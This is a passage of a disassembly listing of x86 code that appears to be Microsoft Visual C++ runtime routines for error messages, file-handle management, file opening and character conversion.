		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C98C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------

loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C98C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26107E1h
		push	eax
		nop
		call	near ptr 26E0000h

loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC600

loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]

loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------

loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB

loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC700
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------

loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC700, 20h
		lea	ecx, ds:4DC600h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------

loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi

loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2F4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2600C3Bh

loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------

loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC700
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2F4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h

loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2600C3Bh

loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------

loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26007E5h
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 2670914h
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------

loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax

loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB2AC, eax

loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5E0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------

loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi

loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5E0, eax

loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5E0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx

loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43CA18

loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB5C8
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC98
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43CA28

loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC600[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD

loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA88
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2E8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB490
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------

loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------

loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB5A0, eax
		jz	short loc_423A7E

loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h

loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4

loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB2A8, 16h
		mov	dword_4DB2AC, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------

loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h

loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx

loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------

loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1

loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB2B0
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi

loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi

loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------

loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h

loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------

loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 26F08DDh
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 26508EFh

loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2670914h
		push	eax
		call	sub_4203DF
		pop	ecx

loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------

loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------

loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8

loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB2AC, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------

loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2

loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE

loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx

loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------

loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx

loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB498
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------

loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	ebx
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax

loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB498, eax

loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB364

loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2600000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------

loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax

loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2830000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2830000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 25F0000h
		nop
		jmp	short loc_423E23
; ---------------------------------------------------------------------------

loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax

loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB364, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C534
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB374
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1

loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh

loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx

loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax

loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB364, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax

loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C328
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C534
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB374
		call	near ptr 2830000h
		nop
		test	eax, eax
		mov	eax, dword_43C534
		jnz	short loc_423EE8

loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8

loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB374
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
